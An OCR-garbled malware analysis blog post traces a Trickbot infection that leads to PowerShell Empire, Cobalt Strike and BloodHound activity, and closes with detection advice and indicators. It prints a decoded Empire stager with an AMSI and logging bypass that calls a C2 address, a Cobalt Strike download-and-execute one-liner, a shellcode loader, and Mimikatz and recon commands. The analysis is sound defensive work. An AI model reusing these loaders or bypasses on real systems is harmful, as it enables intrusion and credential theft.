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TRICKBOT Analysis - Part I1
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Some further TTPs used by TRICKBOT [1] from an infected host that I thought was interesting to share. The

sample used here is from an EMOTET to TRICKBOT infection "GTAG:mor14" courtesy of Malware-Traffic-

Analysis. &

Samples Used

e C:\Users\AUSER\AppData\Roaming\netcloud\pOntpwagnyntd f.exe
¢ C:\Users\AUSER\AppData\Roaming\colorsallow.exe
SHA256 Hash: 3A6C3F7B99B2E76914FBC338C622B92F9825CB77729B8BF050BA64ECE1679818

Continuing on some past research on TRICKBOT's arsenal of modules, I knew that there was a PowerShell
EMPIRE module NewBCtestD1164 but never saw it ITW (in-the-wild) myself.

2018-10-08 - Quick post: #Trickbot gtag sat75 infection with #PowershellEmpire traffic -
https://t.co/sU86nZJnh2 - part of ongoing US-based Paypal-themed Trickbot #malspam campaign.

Powershell Empire traffic seems tied to the NewBCtestDI164 module (and probably the 32 bit version
pic.twitter.com/A5m64alRd7

— Brad (@malware_traffic) October 10, 2018

This soon escalated to COBALT-STRIKE connectivity and BLOODHOUND reconnaissance.

In this observed activity, EMPIRE was used for reconnaissance and privledge escalation and COBALT-STRIKE
for delivering further recon via the means of BLOODHOUND - both tools attempted credential dumping with
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MIMIKATZ. The endgame here, is for the adversary to priv esc all the way to Domain Admin for full domain
compromise to then deliver one of the many ransomware variants such as RYUK 2] @ @ @ 3% $$89.

RECENT NOTES ON EMPIRE

For those that do not know, PowerShell EMPIRE is a post exploitation framework written in PowerShell. This
project has recently retired due to the heighten uptake in PowerShell visibility over the last few years, the project

has stated it has reached its goal and has ended support.

Although EMPIRE is now in retirement it is still being used ITW (in-the-wild). It still works, just not supported.

I'd expect an uptake on other C2 post exploitation frameworks many such are listed here Remote Access Tools

THE RUNDOWN

A quick series of events will unfold. Some of these are documented here. From EMOTET infection to CS

connectity it was less then 48hrs.

o Delivery via PHISHING g,

o EMOTET infection and persistence created.

e Pushes TRICKBOT to steal data.

e Follow up EMPIRE C2 connectivity

o -POWERSPLOIT for recon/info-steal

o -MIMIKATZ for credential dumping/priv esc
e Follow up COBALT-STRIKE C2 connectivity
e -BLOODHOUND for domain recon/priv esc

e Complete Domain ownage (?)

e Ransomware variant delivery. (?)

e Game Over !

Highlighted was observed activity.

HELLO POWERSHELL EMPIRE

To start off we identify the newly established EMPIRE connectivity.

The initial "stager"” is the way the victim talks back to the EMPIRE C2 that is listening for the
connection to then download stage 2 which is the EMPIRE agent. The default launcher/stager is a

PowerShell Base64 encoded/obsfucated command.

By capturing the PowerShell activity on our box (PowerShell Logging, Command Line audit logging EID 4688),
decoding and identifying the EMPIRE stager wasn't too difficult due to the fact most if not all the EMPIRE
defaults were left the same. CyberChef EMPIRE stager reciped used is available here.

EMPIRE Stager

Page 2 of 10


https://github.com/infosecn1nja/Red-Teaming-Toolkit?ref=sneakymonkey.net
https://gchq.github.io/CyberChef/?ref=sneakymonkey.net#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Remove_null_bytes()Generic_Code_Beautify()Syntax_highlighter('powershell')

https://www.sneakymonkey.net/2019/10/29 /trickbot-analysis-part-ii/

powershell -noP -sta -w 1 -enc

SQBGACgAJABQAFMAVEB1AFIACWBIAGBATEBUAGEAYEBMAEUAL gBQAFMAVEBLAF IACWE pAEBATEAUAEBAQQBGAGBAUEAZACRARWE FACAAMWADAHSATABHAF AAUWASAF sAUgBFAEY AXQAUAEEACWBT AEUADQBIAEWASQALA
ECAZQBRAFQAWQBQAGUAKAANAFMASQBZAHQAZQBTACAATQBhAGAAYQBNAGUADDBE LAGAAdAAUAEEAdQBBAGSADQBhAHQAaQBVAGAAL gBVAHQASQE SAHMAJWAPACAAT gBHAEUAJABGAEKAZQBEAEWARAAIACEATWE JAGEAYW
BoAGUAZABHAHTAbwBIAHAAUABVAGWAEQE jAHKAUWB 1 AHQADAB pAGAAZWBZACCALAANAEAATWArACCAbWBUAFARIQB 1AGWAEQBJACWAUWBBAGEAABPAGMATWAPACAARWEBFAFQAVEBhAGWAIQB1ACEATABUAFUADAB SACK
AOwBIAGYAKAAKAE c AUABTAFsAJwWBTAGMAC gBpAHAAABCAC CAKWANAGWADWB TAGSATABVAGCAZWBPAGAAZ wANAFRAKOB 7 ACOARWBOAFMAKWANAFMAYWBvAGKACABBAE TATWAr ACCADABYAGMAaWBMAGBAZWBNAGKAbEBN

On decoding this Base64 blob of data, the key items to look for are the default settings for an EMPIRE stager as
documented in the official EMPIRE Github repo. These defaults are;

User-agent:

Mozilla/5.0 (Windows NT 6.71; WOW64; Trident/7.0; rv:11.0) like Gecko
Session Cookie field:

"Cookie", "session=XXXXXXXXXXXXXX"
On of the following URLs:

/login/process.php

/admin/get.php

/admin/news.php

You can see the decoded result and highlighted fields

e A P 4 o AR o 0 S AT 1 ) e 0 4k 8 S ) I B P e ¢

BsAGBAQWBLAF@ALZAIAECARQBUAEYAZQBFAGAATABKACTAKAANAHMASQBNAGAAYQBBAHUACGE IAHMATWASACCAT ZANAC SAJWBVAGAAUAB 1 AGTABABpAGMALABTAHQAYQBBAGKAYWANACKAL gBTAEUAdABWAGEATABVY:
GUAKAAKAE4ACQBSAEWALAAOAE4ARQBXACPATWBIAGOAZQBJAHOATABDAEBADAB SAGUAYWBUAEKADWBOAFMALEBHAGUADgBFAHIASQBDACAASABBAFMAGABTAEUAVABDAHMAVABY AEKADZBHAFOAKQAD AHBANWBSAGL:

A A ST A R S TR 1 A AR AR S 1 S P S A e gy

® n ti.mEi s -
Output e @O @ -
Q n If ($PSVerSIOnTaBlE.PSVErsiOn.MajoR - ge 3) {
$GPS = [REF].AssEMBLY.GETType( 'System.Management.Automation.Utils')."GetFIe 1D"( cachedGroupPolicySettings', "M’ + "onPublic,Static’).GeTVaLue($Hull);
If ($GPS['scriptB’ + 'lockLogging']l) {
O n $GPS['ScriptB’ + 'locklLogging']['EnableScriptB' + 'locklLogging'] = @;
$GPS['ScriptB’ + 'locklLogging']['EnableScriptBlockInvocationLogging'] = @
1 ELSe {
[ScRIptBleCK]."GETFiE Ld"('signatures’, 'N' + ‘onPublic,Static’).SEtValLUe($Null, (MEW - Object COllecTIoNS.GenErIC.HAShSET[sTrInG]))

}

[Ref].ASsembLY.GetType( ' System.Management.Automation.AmsiUtils’)|? {
b3

}

1% {
$_.GetFleld('amsiInitFailed', 'NonPublic,Static').SetValUe($NUL1, $tRUE)

3
¥
[SySTem.NET.ServIcEPoInTMANager]: :ExPEcT18@ConTinUE = &;
$wc = MEw - OBJEct SysTEm.Met.WEbCLiEnt; USER_AGENT STRINGS
$u = 'Mozilla/5.@ (Windows NT 6.1; WOW&4; Trident/7.@; rv:11.8) like Gecko';
$WC.HEADeRS .Add ( 'User-Agent’, $u);
$wC.PROxy = [SySTEm.MNET.WeBREQuESt]: :DEFaUltWeBPROXY;
$WC.ProxY.CrEdeNTIALs = [SySteM.MET.CrEdENtialCACHE]: :DEFAULTNEtworkCREDENTIALS;
$Script:Proxy = $wc.Proxy;
$K = [SYSTEM.TeXT.ENCOdiNG]: :ASCIT.GETBytEs( ' eipCEZuH~cw*haTOUvAbR+;N=P?SsVR_");

SR = {
$D, $K = $Args;
$5 = 6..255;
8..255(% {

$1 = (37 + $5[$_] + SK[S_¥SK.COUNt])%256;
$s[$_], $5[$3] = $5[$1], 35[3_]

¥
$01% {
$T = ($I + 1)%256;
$H = ($H + $5[SL])%256;
$S[$T], $S[SH] = $S[SH], $S[S1];
$_ - Bxor$S[(35[$I] + $S[$H])%256]
}
3.
$ser = "http://176.121.14.137:443"; EMP'RE CZ,
$t = '/login/process.php';
$Wc.HEaDErs .Add("Cookie”, "session=hyQXORz1G216QMY8kUz/umoB5Gs="); DEFAULT URL &
SOATa o SWC NounloadNATa(Scen o Of). SESSION COOKIE

$iv = $datA[e..3];
$dATa = $datA[4..3data.LEngtH];
- joIn[Char[]](& $R 3data ($IV + $K))|IEX

'

Auto Bake

We can see that the values were left as defaults as per Github EMPIRE Repo. For reference, the default user agent
string and URLs for EMPIRE.
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8 github.com/EmpireProject/Empire/blob/master/data/agent/agent.py

agent ::l‘;‘.g\.l'a'.i:;A information

#* o

# print "starting agent"

# profile format -»>
# tasking uris | user agent | additional header 1 | additional header 2

profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.@ (Windows NT 6.1; WOWE4; Trident/7.8; rv:1l.8) like Gecko"

if server.endswith("/"): server = server[@:-1]
STEP IN POWERSPLOIT

Once the EMPIRE connection is established we see plenty of follow up POWERSPLOIT activity.

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers
during all phases of an assessment. PowerSploit is comprised of the following modules:
CodeExecution, ScriptModification, Persistence, AntivirusBypass, Exfiltration, Mayhem, Privesc,

Recon.

Simply put, the threat actor starts profiling or gathering a siutational awareness of their new environment they

have landed in.

Get-NetComputer | Out-String | %{$_ + "*n"};" 'nGet-NetComputer completed!"

Get-NetComputer -OperatingSystem *server* | Out-String | %{$_ + "‘n"};"'nGet-NetComputer completed!"

Get-NetDomainTrust | Out-String | %{$_ + "*n"}; " nGet-NetDomainTrust completed!"

Get-NetDomainController | Out-String | %{$_ + "‘n"};"'nGet-NetDomainController completed!"

ny

Invoke-MapDomainTrust | ConvertTo-Csv -NoTypeInformation | Out-String | %{$_ + "'n"};"*nInvoke-MapDomainTrust «

From the manual - descriptions of each.

o Get-NetComputer - gets a list of all current servers in the domain

e Get-NetDomainTrust - gets all trusts for the current user's domain

e Get-NetForestTrust - gets all trusts for the forest associated with the current user's domain
e Invoke-MapDomainTrust - try to build a relational mapping of all domain trusts

e Get-NetDomainController - gets the domain controllers for the current computer's domain
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Shortly after followed by an attempted credential dump using POWERSPLOIT's Invoke-Mimikatz -DumpCreds

which actually failed in this environment.

"Virtual Alloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in
a new PowerShell process (the new PowerShell process will have a different memory layout, so the

address the PE wants might be free)."

MIMIKATZ within EMPIRE v2.1.1 20171106 / POWERSPLOIT v2.0 alpha seems problematic with the newer
updates of Windows 10. MIMIKATZ at the time of writing is at version v2.2.0-20190813. These frameworks are
using an outdated version. (Cheers DP - REDTEAM FRIEND /& /&)

STEP IN COBALTSTRIKE AND BLOODHOUND ¢

A quick background for those not in the know.

Cobalt Strike is software for Adversary Simulations and Red Team Operations...Cobalt Strike gives you
a post-exploitation agent and covert channels to emulate a quiet long-term embedded actor in your
customer's network.

https://www.cobaltstrike.com/

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active
Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths
that would otherwise be impossible to quickly identify

https://github.com/BloodHound AD/BloodHound

I was originally suprised about the use of Invoke-BloodHound at first which is from the default BLOODHOUND

ingester SharpHound - ingester = data gatherer. SharpHound.ps1 - Runs the BloodHound C# Ingestor using

reflection. With this little Bloodhound 101 first up was the CS stager and connectivity.

The following code kicks off a COBALT-STRIKE 'beacon stager'. This hosted stager, uses @MrUn1k0d3r's
"DONT KILL MY CAT" (DKMC) ¢ which obfuscates the shellcode to avoid detection when executed on the
endpoint. This DKMC 'template' gives away the use of COBALT-STRIKE.

powershell. exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring( "http://185.147.14.242:88/ad"))

URLScan Screenshot

Virustotal

DECODING COBALT-STRIKE PAYLOADS

The URL points to this hosted PowerShell script...
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Ss=New- DD]Ect 10. Memurystream(,

[Convert]: ng("HAsT 1)(5SOLSHDIHPEKPQRKngDakycramﬁKKAuaILv@FngZZngGMJ.nfmf?sH1MzMTmZSqnatDuxuzvNSHr\wMLG NZOCBSTvsFUCOVIWZep85X501hYI55F s+Ns8elg+hJEVVWChDVCccz8VbgaoQhtmd
L1Dkva9900K4w-vS‘f]xHYSAﬁ’L ggEF4tc7/nL104SRd1]p321iykTx3hrERTHRTLZ Zn/4g] FDSONt1)zF3POULES3OTKTIZ2kPUKDVGenbi TFAL IH1SNgL10VPZZZ 256227 rophgkhcKhppTPG2ahNSLDPFy5nCSRrgUlFir
clP/T\rltlevthUc*ulSHj1ZHufohMCRD48W5nMGknnllRllPAhjQhWKWTSM?pvdHSDBCSa/T._ +XAVHIR7ybI J1vAa2Y 16YyIMEQL] 7nYAnNT /w2Xrr2EKAr 1Ffpduc8lDeBv4PAuli+kjE1CNaFSunHPid+BQ8TwS1QN3FrL+Q3KV4FdTgpUL
3w FPKGNCXYQxSBUBP2Qq4Wrq6d8icGFBsiP3Zzvk! iyckyjBSed/ 78UXE247 jyn81zs+MoBzXzXF 15¢ 1Qun7MnOXB2E JTa0sve /1 gVBr 10PCEMHEG51SF] SZ7HDAL)zPKoXMg3sLBXPL TAENNERZoA+/cumb1 362 ¢ 5 +GedbERCY T TKUKP9OCr
GpaLsqXgL+J32kKbXaygz FKE+1176027 t s1zuEBTHFWaUQJ 1bFcbAiGC7wvBe 75F80n182XxH3PVhFDXQ] 691HsufwLpWXXHIEB1EguiCzBMjABDLI 1ZKhim59q4nRquczGh+CkmHUQI1Bx I2kFMACTDWGBZzkR25d/ 201wiMIW3ACFboMB 7KESQAZ 3nXFF5UIEH2BX/ YR
a1 TKSFKUFLACMDOZAABVEPhZIISE Yi-Vqz8 1H] /M3K / £ Py 20XE+B2 1U16T T+2UZUNSULr Z5TLIHC SCUYGCaLLKbISOXS2GkbeUrH M IRy N 762agr 7qRe28NN80Z QY eSqChOP W] 1 1UMWLGPTa/ 183POSPAINEZADF 11 ged YdSW1VBVESy 72K1g7KHCanHUPYSENSI3A9
2qnLzU0t 3ubic+IFm3vOXM] SgOMVGr1ZLGXOPXnX15JOy4F1nbzr+H3ge 2WGXn tvN7DYb+KFYUSrIBE] S5A0Z] IbHU1461FHWCVAX6T20t e TwD4eb+XGr FYS/ZFTeVOPLEFbNXT417x5VTbi+x 1A2] I6MPVSCOTAR+rQEYHIXULREN+2AtpL210]S0
£9SBOCNM5KS] pyn+qa/ TzUgWDPTOTABCWA3ID125 1T TPIRV2YWIPA2F/QpT 1EC020t R GvIGP1NHQGEL T JNCASAQXGy212ST2 10T r 8111 qkBIYWINQGVAQIEQag+UoKy1A7qX1GEEPBNP LaNXb1 pVGHMvgxG JRAKP1I 1TqCCZOYRVEXBICYN3PHC AR ] P/HEOLKxKqSeVhY
Q/S5/WTKRVADWKWEEQWNIY r-1FVOMWNG ] LgegZNXxH1gBULdW] tFAPEQRNWVMAMX50MANt bxynw/ UL TqrvpuJKF7Z9UX/ ] Ft2x 1kwkMpiwrY7QXmr 1X1XGAME4Z F SL400a6a+0YHr tcOWOSNDVIV/ XBSOpr c4kX]AXL1CNWaPLa62ZG8+kgyPYnDTQ2ZU22+/n0X1tNpas90
540ekT0OZ6PIXveeRUBTKN17 1a8tdzPYBOTUaMZrp17vi1¥yuOapU/FRISRT IxvyWSCw3BKT TOB2abGy TOSPR] qQedFoz tMxYd22gx 1PZS0g56pPX5q55y Y6Q2x3dRGIThXa TKo 21XE4+DZHQN3k/WZk t/6HECUHGI03E kyw+Wr SWVSWOSXHHYDKO3u7 FV672uTDF3FMhYa
W5QGB]BtNSZYUSRZOTNT t1/k3VZSBOUL FFWIyYScrXVinyMeTni0McPotizxr vk J40ZnL3eP/AcZXryB/1VEZbs 760e JSMSRUT 2L qTXWuX 381 t 4dxZQC6+kQ3KMRBAC jwbuadr uGHVDSE] cd./Pamlj 7ALUGKS1LcYbHVZWb6ao5jzc 28dakGil e+S8yUkHat zsdnt BCekD
5J158g5rSTexJr5amghbeidr5bomHWz tRzCTHLI7/18M/N8Syrz3KOhMOPSy85ubc] YrvLa5u] 48X2a79/ 2 teQBpOTus3+VvduhD1/VWWKS iKHSFBLoTDD2XKAVY I +kBUoXEN+MolT6 Ft £ IWSGECKky jMapdGzxPiWgmwOYupBoa/Q0D2DBF aF Jh12ger MVNOCBPHySczha/
zgeTs4WUuuxB++bICOyoFQFSWSIDXCsMe6izL ZvaNt 124FVg6FpCH3sVVsoHs gyUFNZFcU/mMFpR4W/x/ DMAPSVET tB14+Uz3011u80d41QvFPwoFec1801/dI3yx4)B5zHMvpiiitxvFhM+b/LuXaMyI4sL5hox351bcI+P6zXdxome JLugmdMn2zdn] OwT 4zdGxxaGkF
u275uQpRhmsSExBLiQjhrO/AUOr tgODDGAA" ) ) ; TEX (New-Object I0.StreamReader(New-Object I0.Compression.GzipStream($s, [I0.Compression.CompressionMode]::Decompress))).ReadToEnd();

Base64 and Gunzip decompress, decodes to a DKMC PowerShell stager with encoded and XOR encrypted
shellcode.

Set-StrictMode -Version 2

$DoTt = @
function func_get_proc_address {

Param ($var_module, $var_procedure)

3var_unsafe native methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.location.Split( \\")
[-1].Equals('System.d11') }).GetType( 'Microsoft.Win32.UnsafeNativeMethods")

Svar_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @( System.Runtime.InteropServices.HandleRef', 'string'))

return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InterapServices.HandleRef((New-Object IntPtr),
($var_unsafe_native_methods.GetMethod (' GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
Param (
[Parameter(Position = @, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]

%$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate’)),
[System.Reflection.Emit.AssemblyBuilderaccess]: Run).DefineDynamicModule( InMemoryMedule’, $false).DefineType( 'MyDelegateType’, 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])

%$var_type_builder.DefineConstructor( 'RTSpeciallName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
$var_parameters).SetImplementationFlags( Runtime, Managed')

$var_type_builder.DefineMethod('Invoke’, "Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime,
Managed")

return $var_type_builder.CreateType()

[Byte[]]1$var_code =

[System.Convert]: :FromBase645tring( '38uqIyMjQ6rGEVFHgHETQHEVQHE3qFELLIRpBRLCEUOPH@IFIQ8D4uwuIuTBA3FOQHE zqGET IvDoYlumd1ldpIvNzgGs7gHsDIvDAH2qoF6gi9RLcEuOP4uwuTuQbwlb
XIF7bGF4HVsF7qHsHIVBFqCG0oqHs /TvCoJ6gi 86pnBuwdieE J6eXL cu3t8eagxyKV+S@1GYyNLVEpNSNdLbIQFINz2yyMjIyMS3HRBAHRAS )1 1MoTcGsqHTyMjeBLGcnIITHIYS5giTyNwcBteqrz 13PZzyql  TyNAEY
FXSYMRA6dxCXFwCXNLYHYNGNZ 2quiig4HNLOoXAFI6rDSSdzS Tx1S1Z1vaXcInwS 3HROS dxwdUs0I TEY3Pamdyyn6SIjIxLeptVXIerayCpliebBftz2qulLZgI9Etz 2EtxBSSRYdXNLIHTDKNZ 2nCMMIyMaSFYke3PKW
Nzc3BLcyrIiIyPK6iIjI8tM3INzcDH1UamEj72d0WengRzIunk1I4PFFHNIONIGA+B@roXLez14r0FaheR91ZK91KIIpEnS2e/ 1 7taBMz FXMXdENT W/ gQKNs 1vw+ggCAoXCyNZUEZRDMIERKIXGQNUTF LKT@2CDBYN
EWMLQEX0UBIXSkFPRhgDbnBqZgMaDRMYAIRKTUAMYFADDXcDFQ@SGANBbHQVFxgDd1 FKREZNVWWHWDRMYA2VWT XRGOXNRTEdWQFdQCidpIx2C/TACYWWSSRVEFEY FgSAGKYIQ2cRUEUTsaszWml TTeqgUtobulhe21TV
IBKORpCiaWdqyE7By6qIRqFzKPbOR8X2bVSVS4EBSNP 3y gAl IMDPUGNEZKUP/ESTFbOR7INDgjin/dPAI7cdLYLFMAXiEOBBUVVkZhSRLUe1zD1QLE6jaqpSpUGCPenLEVN+w0l/ IRbOt7+NPp/EUFaiNZYESSAIr11go
prencQvhgWyOVD1857A12czAz IyEyBVQbaAALUTZ@KmiTveXYJSO0MgXX okl jSyMz IyNLIyNII3RLeddwxtz25Jo IyMjIvpycKrEdEs JAyMI cHVLMbWgwdz2pullX5agk IuCm4 1bGe+DLgt7c3BIbFgBSFxQNEhCNE
RCRIyMiIyA=")

for ($x = 8; $x -1t $var_code.Count; Sx++) {
$var_code[$x] = $var_code[$x] -bxor 35

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForfunctionPointer((func_get_proc_address kernel32.dll virtualalloc), (func_get_delegate_type
@([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.lLength, B8x30608@, ox48)

[System.Runtime.InteropServices.Marshal]::Copy($var_code, 8, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get delegate type @([IntPtr]) ([Void])))

$var_runme. Invoke([IntPtr]::Zero)
=

Another Base64 decode and XOR decrypt using the hardcoded key 35. CyberChef doing the heavy work here.

S I g 1

Recipe Bl E nput end: 11

length: 15 lines

38UqTyMjQ6rGEVFHGHETHEVGHESQFEL LIRPBRLCEUOPHOIFTO8DALWUTUTBO3FOGHE GGEF TVO0Y 1um41dpTVNZqG s7qHSDIVDAH2q0F 6g19RL CELOPAUMUTUQbWIDXTF7bGF4

"

ERomEases o 6pnBud4eEI6eXLcwIt8eagxyKV+Se16VyNLVEpNSNdLb1QFINZ2yyMj TyMs 3HRAAHRBS X1 1W0TCIsqHIyMieBLgcn] ITHIyS5gi TyNuc@teqrz1 3PZzy g8 TyNAEVFXSyHR46 dx
PO rDSSAZSTX15171vaXc ITEY, JIXLCPVXI6rayCpLiebBFtz2qulLzg)9ETz2ET IHTDKNZ2nCHHTyHasF 3BLeyrTil
A?Za:zB—9+/: - 8RzJunk1I4PFFHN3ONJGA+@@roXLez14r0FaheRILZKOIKIIpENS2e/ 17t aBMZFXMxdENTGW/ QKNS Lyw+ggCAOXCYN2UEZRDMIERK 1XGQNUTF IKT@9 CDBYNEWMLQEXQU@IXSK

bi IQVFxgDd 1FKI QXNRTEJWQFdQC14pIX2C/TACYuhs SRVLF 6y fg5AGKYIQ2CRUEUIsaszhimlT TeqqUtobullhe2 1IVIBKORpCiakdqyE7B
11MDPUGNEZKuP,/ESTFBIR7INDG] in/dPAI 7cALYLFMAXEEOBBUVVKZhSRLUe12D1QLE aqpS pUGCP enL EVN+w0T/ TRbOLT+HPp/ELF 2 SNZYEBSATF11goprsncQyhahyOVDLE57

Remove non-alphabet chars ¥§520WgXXcek1jSyMz IyNLIyN] 3R Leaduxtz2 530 IyMj IvpycKrEdEs jAyMj cHVLIbHGwd z2puliXSagkTuCm41bGe+DLqt 7 3B TbF gOSFXQNERCHERCRIyMI Ty A=

XOR O n start: 816 tine

end: 530 length.
« Output length: 14 Llines:
35 DECIMAL ~ G2.... .410d.R8.R..R..r(.-J&1§1A<al., AT
.C33RW.R..B<.D.@x.At].OP.H..X .03<I.4..0171A-AT
Scheme ) .C83UD. }03 }SUAX. X$.0F . (K. X..0. ...D.D$S [ [aVZQyAX_Z..&. hnet. huiniThLug.§O2. .. . 1yt :Vy§y0ex. . .[16QQj.QQh» . . .SPhK. .AJOPE. ...
Standard I Null preserving [10Rh.24.RRRSRPhEU. ;0. £.APh. 3 Pj.VhuF . .yd_1yiMigsvh-. . {y8.A. . E...15.6t. .08

h2Aa]yd.AhE!~1§015W] .QUPh - Wa. §0¢ . / . .9Cu . XPE{JYYIVE. . .. &E. .. 20y¥y/ZwIB. IomxJAd .MankADF 2p1. *£0n. .Qy1} . .u. I<FG.V.Q
1. XU| £5¢. . t.4g. .uV" ) .8LAE .+)4(.User-Agent: Mozilla/5.® (compatible; MSIE 9.8; Windows NT 6.1; WOWG4; Trident/5.8; FunkebProducts)
.>{b.2@&.J6NA.% *.

i30cw1A. TI6 UdY. _8EGjw.3=%._.!
0/0%.08.UCK. 00=8¢ 910°. . 19%+0. . DO 2B6x.§7.U\1Ay(O{BE#. .V(GH. T3. 98k 01X ~ii/
SR04V, ) TOU.NOUGVTOTEN . o D o HKGSES0. QS M. .SV .. 350 ACE. . A, udKie. 55 R URTETIE. ..
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Which leaves us with a nice COBALT-STRIKE C2 and USER AGENT string.
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.7; WOW64; Trident/5.0; FunWebProducts
185.147.14[.]242

Once an active connection was made to the infected victim, a follow up series of recon commands were carried
out via Get-NetLoggedon , Get-NetComputer | Out-String | %{$_ + "*n"};" 'nGet-NetComputer completed!"
and another attempt to dump credentials was made with Invoke-Mimikatz . Lastly we see the domain recon via
BLOODHOUND

Set-Alias Get-BloodHoundData Invoke-BloodHound
Invoke-BloodHound -Threads 20 -CollectionMethod Default -Throttle 1000 -CSVFolder $(Get-Location) | Out-String

Writing output to CSVs in: C:\Users\USER\AppData\Roaming\netcloud\
Done writing output to CSVs in: C:\Users\USER\AppData\Roaming\netcloud\

This actually left artefacts on disk (& local_admins.csv , group_memberships.csv , trusts.csv and

user_sessions.csv .

Shortly after this activity ended (maybe they realised my AD topology wasn't too hot and the penny eventually

dropped... ) connections were then severed.

® THESEAREN'T THE SYSTEMS

YOURETRYING TO RANSOM

OTHER TRICKBOT OBSERVATIONS - ESENTUTL? .EDBs?

One other thing I noted with this TRICKBOT infection was the use of ESENT UTIL to gather IE and Explorer

browser history and webcache. The below command was seen;

esentutl /p /o C:\Users\USER\AppData\Local\Temp\grabber_temp.edb
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"a centralized meta-data store for the browser using the proven "JET Blue" Extensible Storage Engine
(ESE) database format"

"Remember that even if a user never opens Internet Explorer, there may still be valuable records in their
IE database including files opened on the local system, network shares, and removable devices"

https://digital-forensics.sans.org/blog/2015/06/03/ese-databases-are-dirty/

"browser history data and while Chrome and Firefox allow copying of the history files, the
WebCacheV01.dat file that IE and Edge history are stored in is a locked file and cannot be copied using
native copy"

https://dfironthemountain.wordpress.com/tag/ese-database/

Artefacts on disk will be in the form of a .RAW capture

C:\Users\USER\AppData\Roaming\grabber_temp.INTEG.RAW

Snippet from the .RAW log file below. Seems to be validating/repairing the database before exfiltrating?

**k*x Repair of database 'C:\Users\USER\AppData\lLocal\Temp\grabber_temp.edb' started [ESENT version 10.00.1776:

search for 'ERROR:' to find errors

search for 'WARNING:' to find warnings

checking database header

ERROR: database was not shutdown cleanly (Dirty Shutdown)

database file "C:\Users\USER\AppData\lLocal\Temp\grabber_temp.edb" is 43515904 bytes
database file "C:\Users\USER\AppData\Local\Temp\grabber_temp.edb" is 43515904 bytes on disk.
Creating 16 threads

You can download, NIRSOFT ESE Viewer to peak inside the .edb file to see what data has been staged. In

summary, the threat actors are looking for files and locations of interest on the network (?). Maybe profiling if you
are a user? or to provide them context and situational awareness of the environment they have spawned into and
where to pivot next such as file servers (?). ESENTUTL and EDB files are one to be aware of and possibly a

contender for DFIR professionals and @) teams to use also!
As a side note, other previously seen similar activities and ITW sightings courtesy of @AltShiftPrtScn L4 .

Another similar TRICKBOT post-exploitation but using PSEXEC and AdFind to help deploy RYUK ransomware

to the environment. A Nasty Trick: From Credential Theft Malware to Business Disruption

Again, different attack paths, key sightings on TRICKBOT using EMPIRE/POSHC2 to deliver the "cyber-aids"

A
&

Usually it's FAKEUPDATES -> DRIDEX | TRICKBOT -> EMPIRE -> CYBERAIDS, but what I just
saw was FAKEUPDATES -> DRIDEX -> POSHC2. We stopped it obviously before the CYBERAIDS.
Highly recommend not catching the CYBERAIDS.
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— Andrew Thompson (@QW>5kcmV3) September 11, 2019

WRAP UP

The combination of EMOTET's access-as-a-service model and TRICKBOT's offensive set of modular tooling,
they pose a real and current threat to businesses large and small. As stated before, once the infected systems have
reported back - the threat actors can be pivoting further in your environment within (in this instance) <48hrs and
start to elevate privledges to own the domain to ultimately deliver further badness such as ransomware. Using off
the shelf offensive tooling such as EMPIRE, COBALTSTRIKE, BLOODHOUND, POWERSPLOIT and the
infamous MIMIKATZ, detecting these tools are key in stopping the likes of TRICKBOT from moving further.
Also to note, is the time taken to detect, investigate and remediate. Doing this in a timely manner is highly
recommended. With the likes of offensive PowerShell becoming easiler to detect its only a matter of time before

these TTPs change once more. = ;" % <

uy

RECOMMENDATIONS

To avoid the "cyber-aids". I recommend;

As always defense in depth.

e Powershell visibility is still key for detection. (+transcription logging) - ship these off the host ASAP.

e CommandLine Logging - EventID 4688, Sysinternal SYSMON, EDR products.

e Active Directory auditing and logging to capture BLOODHOUND recon on AD objects. This could be
incredible noisey depending on the environment but check out "honey tokens" for fake accounts that
should never be queried.

e Detect over the wire Bloodhound via IDS/NSM - large LDAP queries from unexpected hosts like clients.
Know whats normal first.

 Further segregation of your network where possible to hinder lateral movement.

o '@ Puple teaming excercises ‘%" . Pre-running BLOODHOUND and proactively going after the same fuit
of the attackers. Harden and repeat. #PurpleTeaming

e Detect TRICKBOT recon ipconfig /all , net config workstation , net view /all /domain , nltest

/domain_trusts , nltest /domain_trusts within a short time frame/chained together).

10CS

https://pastebin.com/kS6ZJT1W
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